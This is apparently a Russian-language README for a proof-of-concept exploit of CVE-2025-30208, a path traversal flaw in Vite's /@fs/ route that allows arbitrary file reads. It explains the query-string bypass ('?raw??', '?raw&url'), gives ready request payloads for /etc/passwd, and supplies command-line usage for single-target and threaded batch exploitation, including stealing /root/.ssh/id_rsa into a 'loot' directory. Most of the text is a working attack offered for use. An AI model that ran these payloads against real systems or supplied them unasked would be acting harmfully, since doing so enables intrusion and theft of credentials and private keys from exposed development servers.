
PoC эксплойт-скрипта для уязвимости произвольного чтения файлов Vite /@fs/ Path Traversal в transformMiddleware (CVE-2025-30208).
PoC эксплойта для уязвимости произвольного чтения файлов в Vite /@fs/ Path Traversal в transformMiddleware (CVE-2025-30208). Подробный анализ можно найти в этой статье.
Уязвимы версии до:
Vite — популярный проект с открытым исходным кодом, доступный на Github и на официальном сайте. Он использует специальный префикс @fs, чтобы разрешить прямой доступ к абсолютным путям файлов в режиме разработки:
GET /@fs/<absolute/path/to/file>
Но для предотвращения злоупотреблений Vite ограничивает доступ через @fs с помощью конфигурации, подобной этой:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
Таким образом, теоретически файлы за пределами разрешённой директории (например, /etc/passwd) должны быть заблокированы — даже если кто-то попытается использовать такие трюки, как ../../../.
Однако недостаток заключается в том, как Vite парсит и проверяет URL (через middleware/функцию transformMiddleware). Middleware/функция использует ensureServingAccess(url, ...), чтобы проверить, разрешён ли запрос файла через /@fs/.
Однако злоумышленник может сформировать запрос с замыкающими разделителями запроса в URL, например:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
Эти формы обходят фильтры регулярных выражений (rawRE, urlRE) и проверки безопасности, так как некорректная строка запроса всё равно соответствует логике маршрута. Вот что происходит:
/@fs/../../../etc/passwdraw?? (намеренно некорректная)?, и делает это до проверки разрешения пути файла.Это означает:
server.fs.allow./etc/passwd, если они существуют.python3 poc.py [OPTIONS]
| Flag / Option | Описание |
|---|---|
-u, --url | Одиночный целевой URL (например, example.com:5173) |
-f, --file | Файл со списком целей (один URL на строку) |
-p, --path | Путь файловой системы для чтения (по умолчанию: /etc/passwd) |
-b, --bypass | Строка запроса для обхода проверки маршрута (по умолчанию: ?raw??) |
--proxy | URL прокси (например, http://127.0.0.1:8080) |
-o, --output | Директория для сохранения результатов эксплуатации (по умолчанию: results) |
-t, --threads | Количество потоков для пакетного режима (по умолчанию: 10) |
-h, --help | Показать справку и выйти |
Эксплуатация одной цели:
python3 cve-2025-30208.py -u example.com:5173
Одиночная цель с произвольным путём LFI для утечки нужного файла:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Пакетная эксплуатация с несколькими целями:
python3 cve-2025-30208.py -f targets.txt
Пользовательский обходной запрос:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Использование прокси (например, Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Пользовательская директория вывода:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Увеличение количества потоков в пакетном режиме:
python3 cve-2025-30208.py -f targets.txt -t 50